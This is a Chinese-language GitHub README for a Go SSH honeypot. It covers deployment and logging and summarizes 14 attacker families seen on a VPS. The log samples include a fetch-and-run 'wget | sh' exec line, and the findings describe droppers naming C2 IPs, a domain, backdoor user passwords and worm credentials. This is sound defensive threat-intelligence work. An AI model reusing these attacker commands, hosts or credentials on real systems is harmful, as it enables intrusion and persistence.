Am1ne-bou/ssh-honeypot
GitHub: Am1ne-bou/ssh-honeypot
用 Go 编写的中交互 SSH 蜜罐,通过伪造 shell 和 SCP 协议在真实 VPS 上捕获攻击者的凭据、命令和 payload。
Stars: 0 | Forks: 0
# ssh-honeypot

使用 Go 编写的中交互 SSH 蜜罐。监听 22 端口,记录所有认证尝试,
让攻击者进入一个伪造的 Linux shell,并记录他们的所有操作。
旨在部署在真实的公网 VPS 上并收集攻击数据 —— bot 尝试了哪些凭据、
执行了哪些探测、试图投放什么 payload。
最初只是低交互(仅记录认证)。随后第一批日志传来,我想
捕获更多信息 —— 看看攻击者在自以为身处真实系统时
究竟会做什么。添加了 lspci、nvidia-smi,并开始让 GPU 挖矿程序
运行其完整的 kill chain。看到了 SCP dropper,所以我添加了隔离功能。最终捕获了
第一个真实的 payload:一个 Raspberry Pi SSH 蠕虫,以及来自 ELF echo injector 的
二进制文件。
回首过去,“低交互”的标签已不再适用。SCP wire protocol、
有状态的虚拟 FS、工作管道以及算术扩展,都完全达到了中交互的标准。
## 发现(724+ 小时,赫尔辛基 VPS)
完整分析见 [FINDINGS.md](FINDINGS.md)。
来自 1463 个源 IP 的 25026 次认证尝试。接受了 22238 个会话。识别出 14 个攻击家族。
几乎所有客户端都自识别为 `SSH-2.0-Go` —— 基于 Go SSH 库构建的大规模扫描器。
最新拉取(6月25日):稳定状态。没有新的家族。ELF echo injector (F10) 依然是
命令计数的唯一驱动力(4天内增加 529k)。越南的 `AsyncSSH`
凭据填充集群持续增加 IP(自6月21日以来增加了 184 个)。`admin` 超越
`123456` 成为最热门密码(657 vs 299)。前 12 名中有两个新条目:`alpine` (92) 和
`lab123` (82)。详见 FINDINGS.md。
热门密码:`admin`、`123456`、`1234`、`support`、`password`、`e3@HJgr=$4in-a-`、`postgres`、`alpine`。
**1. 凭据填充** —— 字典喷洒,基于 RockYou。一个 IP 尝试了 1545 个独立
密码,然后在成功进入后又继续尝试了 1382 次。还看到了中文泄露
数据集:如 `19870825` 这样的日期混合着罗马拼音化的名字。
**2. Diicot / GPU 挖矿程序** —— 约 180 个会话。通过 `lspci` 和 `nvidia-smi` 检查 GPU,
使用 `chattr -i` 锁定 `authorized_keys`(即使对 root 也是不可变的),并杀死竞争
挖矿程序。lspci 输出中伪造的 Tesla T4 触发了完整部署。
**3. SCP dropper** —— 尝试了 11 个目录,试图通过 `scp -t` 寻找可写路径。
蜜罐使用 SCP wire protocol 通信,因此 bot 认为自己成功了。
**4. 密码修改器** —— 将 root 密码更改为 `chpasswd`,以锁定其他
攻击者。经典的竞争排他性。
**5. C2 dropper (fileless)** —— `auth_ok` 十六进制 beacon + `wget|sh` pipeline。无任何
写入磁盘。通过 SSH exec channel 运行,对基于 shell 的日志记录不可见。
**6. w.sh / astats 持久化 bot** —— 同时使用 cron 和 systemd 用户服务。
进程名(`astats`、`netai`、`kstats`)伪装成监控工具。
**7. VPS 基础设施侦察 —— 35 条命令,无 payload。包含一个 `dd` 磁盘
基准测试,用于在决定部署前评估挖矿适用性。
**8. SSHCHK 存活检测器** —— 带有 BEGIN/END token 框架的结构化 C2 探测,
以及算术工作量证明(`echo $((7*191+3))` 必须返回 1340)。在发送
payload 之前确认是真实的 shell。截至 6月21日有 15,106 个会话(6月10-15日
约 940次/天,随后趋于平稳 —— 之后六天内仅增加 35次)。
**9. 最小化 OS 扫描器** —— 仅执行 `uname -s -m`,随后断开连接。纯粹的编目。
**10. ELF echo injector** —— 78 分钟,一个 SSH 连接,在下载失败时,
通过 43,058 条 `echo -e -n` 命令逐字节写入四个二进制文件。总计 84 个会话,
3,299,268 个 echo 数据块,正在加速(6月15-21日期间约 4-6 个会话/天)。
session.log 大小达到 3.3GB+ 很大程度上是因为这个。
```
amd64 -- 5MB, 64-bit Go, stripped
kal64 -- 3MB, 64-bit Go, stripped
kswpad -- 1.2MB, ELF 32-bit x86
linux -- 1.3MB, ELF 32-bit x86, UPX packed
```
我仍需对它们进行妥善分析 —— 打算先学习使用 Ghidra,等我有更多时间再说。
**11. Meow dropper** —— 从 C2 下载 `meow` (x86-64) 和 `meowarm64` (ARM64),
创建两个后门 sudo 用户(`admin1`、`user1`),密码为 `modzmodz`,将
一个 root 凭据写入 `/tmp/mew`。整个 kill chain 在一条 exec 命令中完成。113 个会话,
目前有三个 C2 IP(34.11.111.237、35.237.91.38、34.181.210.37)。
二进制分析待定。
**12. Wowo dropper** —— 从 `wowo.biz.id` 下载并执行 `runningaway.x86`,
传递一个 campaign 标签(`vipies`)作为参数,自我删除,并擦除历史记录。在此之前
进行了完整的 35 条命令的基础设施侦察。尚未分析该二进制文件。
**13. Raspberry Pi SSH 蠕虫 (gJw27HGL)** —— 隔离区实际捕获的
第一个 payload。是一个 4.7KB 的 bash 脚本,而非二进制文件。杀死竞争恶意软件,
注入 SSH 后门密钥,更改 `pi` 用户密码,然后生成一个 IRC bot,
连接到 Undernet 并等待 RSA 签名的命令。通过使用 zmap 扫描 10 万个 IP,
并尝试 `pi:raspberry` 和 `pi:raspberry993311` 进行自我传播。目前仍然活跃:
总共 5 次捕获(6月2、6、8、9、14日),每次哈希值均相同。我阅读了源码,
但仍需正确理解 IRC C2 那部分 —— 这是下一步的工作。
**14. 架构能力探测器** —— 通过 SCP 投放两个测试用的 ELF 二进制文件(x86-64 和 x86
32位,均为 "Hello, world!" 汇编,512B 和 348B),分别执行,然后删除。首先使用
`top -bn1` 快照正在运行的进程。这些测试二进制文件是手工制作的最小化
ELF —— 仅仅为了在真正的 payload 到来之前确认执行是否正常。客户端为
SSH-2.0-OpenSSH_9.9(数据集中唯一的真实 OpenSSH)。6月12日的一个会话,源 IP
185.129.62.63。真正的 payload 始终没有出现。隔离区哈希值:e374a7ad (512B)、f74a8b06 (348B)。
## 架构
```
attacker --> TCP :22 --> iptables REDIRECT --> :2222 --> honeypot process
|
/var/lib/honeypot/logs/
auth.log (every auth attempt)
session.log (commands, exec, SCP)
server.log (startup, config)
operator --> TCP :VPS_PORT --> real OpenSSH
```
三个 JSON 日志文件,每行一个事件:
- `auth.log` —— 每次登录尝试:IP、用户、密码、客户端 banner、尝试次数、结果
- `session.log` —— 握手、channel 请求、命令(包括交互式 shell 和 SSH exec)
- `server.log` —— 包含配置快照(auth_threshold、addr)的启动信息,以及错误
## 认证行为
通过 `-auth-threshold N` 进行配置(默认为 1 —— 立即接受)。
当 `N=1` 时,每个 bot 在第一次尝试时就会获得一个 shell。当 `N=10` 时,服务器
在每次接受前会针对每个 IP 收集最多 9 个密码。由于 bot 每次猜测都会
建立一个新的 TCP 连接,因此尝试计数器会根据源 IP(而非 IP:端口)在多次连接间进行累积。
阈值和时间戳在启动时记录在 `server.log` 中,
周期分析工具会利用它来比较不同部署间的行为差异。
## 构建
```
make build
```
生成静态的 Linux 二进制文件。需要 Go 1.22+。支持从任何 OS 交叉编译。
```
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -o ssh-honeypot .
```
## 部署
首先将真实的 sshd 移动到非标准端口。在 `/etc/ssh/sshd_config` 中:
```
Port VPS_PORT
```
重启 sshd,**在进行任何其他操作之前,请确认您仍然可以在 VPS_PORT 上连接。**
将端口 22 重定向到蜜罐:
```
iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222
iptables-save > /etc/iptables/rules.v4
```
服务用户和目录:
```
useradd -r -s /sbin/nologin -d /var/lib/honeypot honeypot
mkdir -p /var/lib/honeypot/logs /var/lib/honeypot/quarantine
chown -R honeypot:honeypot /var/lib/honeypot
```
复制二进制文件和 systemd unit:
```
scp -P -i ~/.ssh/your_key ssh-honeypot user@VPS:/tmp/ssh-honeypot
ssh -p -i ~/.ssh/your_key user@VPS \
"sudo install -m 755 /tmp/ssh-honeypot /usr/local/bin/ssh-honeypot && \
sudo systemctl restart ssh-honeypot"
```
验证新的二进制文件是否正在运行(在监听行中查找 `auth_threshold`):
```
ssh -p -i ~/.ssh/your_key user@VPS \
"cat /var/lib/honeypot/logs/server.log | tail -3"
```
## flags
```
-addr listen address (default :2222)
-host-key ed25519 host key file (default ./host.key)
-log-dir log file directory (default ./logs)
-quarantine-dir payload capture directory (default "" = disabled)
-max-conn concurrent connection cap (default 100)
-auth-threshold accept after N attempts per IP (default 1)
```
主机密钥在首次运行时生成,并在多次重启中重复使用。如果密钥在
每次重启时都改变,这就是一种指纹泄露 —— 扫描器会注意到。
## 日志
`auth.log` 条目:
```
{"time":"2026-05-27T05:03:14Z","level":"INFO","msg":"auth attempt","method":"password","user":"root","password":"123456","remote":"35.200.201.144:54321","client":"SSH-2.0-Go","attempt":1,"outcome":"accepted"}
```
`session.log` 有两种类型的命令条目:
```
{"time":"2026-05-27T05:03:14Z","level":"INFO","msg":"shell","sid":"dc727dd9b3","command":"uname -s -v -n -r -m"}
{"time":"2026-05-29T10:24:55Z","level":"INFO","msg":"exec","sid":"5d9fcafd","command":"uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"; (wget ... | sh -s ssh)"}
```
`msg=shell` 是交互式 shell 命令。`msg=exec` 是一次性的 SSH exec(无 PTY)。
大多数自动化 bot 使用 exec —— 分析脚本必须同时统计两者。
`server.log` 启动条目:
```
{"time":"2026-05-29T06:15:23Z","level":"INFO","msg":"listening","addr":":2222","auth_threshold":1}
```
## 分析
从 VPS 拉取日志:
```
mkdir -p ~/honeypot-logs/$(date +%Y-%m-%d)
scp -P -i ~/.ssh/your_key \
"user@VPS:/var/lib/honeypot/logs/*.log" \
~/honeypot-logs/$(date +%Y-%m-%d)/
```
一次性运行所有脚本:
```
./analyze.sh ~/honeypot-logs/2026-05-29
```
生成五个文件:`result-HHMM--DD-MM-{report,full-stats,session,timeline,periods}.txt`。
单个脚本:
```
python3 analysis/report.py ./logs # heatmap, top passwords, session narratives, alerts
python3 analysis/stats.py ./logs # raw counts + full password list
python3 analysis/sessions.py ./logs # per-session event timeline
python3 analysis/timeline.py ./logs # first/last-seen per command and password
python3 analysis/periods.py ./logs # compare periods across server restarts / threshold changes
```
`periods.py` 读取 `server.log` 以获取重启时间戳和 `auth_threshold` 值,
按周期对认证和会话日志进行切片,并打印并排比较结果。用于
衡量配置更改的效果(例如 threshold=10 vs threshold=1)非常有用。
## 伪 shell
处理约 80 个已注册命令:`whoami`、`id`、`uname`、`ls`、`cat`、`ps`、
`ifconfig`、`nvidia-smi`、`curl`、`wget`、`sudo` 等。针对配备 Tesla T4 GPU 和
8 个 CPU 核心的 Ubuntu 24.04 返回合理的输出。
支持的 shell 特性:
- 管道:`nvidia-smi -q | grep "Product Name" | wc -l` 返回 `1`
- `&&` 链式操作:在首次非零退出时停止
- `> /dev/null` 重定向剥离
- `$VAR` / `${VAR}` 展开
- 每个会话的虚拟文件系统:执行 `mkdir /tmp/x` 后再 `ls /tmp` 可以看到它
- SCP 接收:使用 wire protocol,确认上传,写入会话 FS
设置 `--quarantine-dir` 后,SCP payload 将被保存为 `-.bin`
(只读,每个文件上限 50 MB)。
已知限制:
- 不支持 `$(cmd)` 替换
- 网络命令返回预设输出,不发送真实流量
- `> file` 写入(除了 `/dev/null`)尚未实现
标签:EVTX分析, Go语言, Homebrew安装, PE 加载器, SSH, 威胁情报, 开发者工具, 攻击分析, 日志审计, 程序破解, 蜜罐, 证书利用, 逆向工具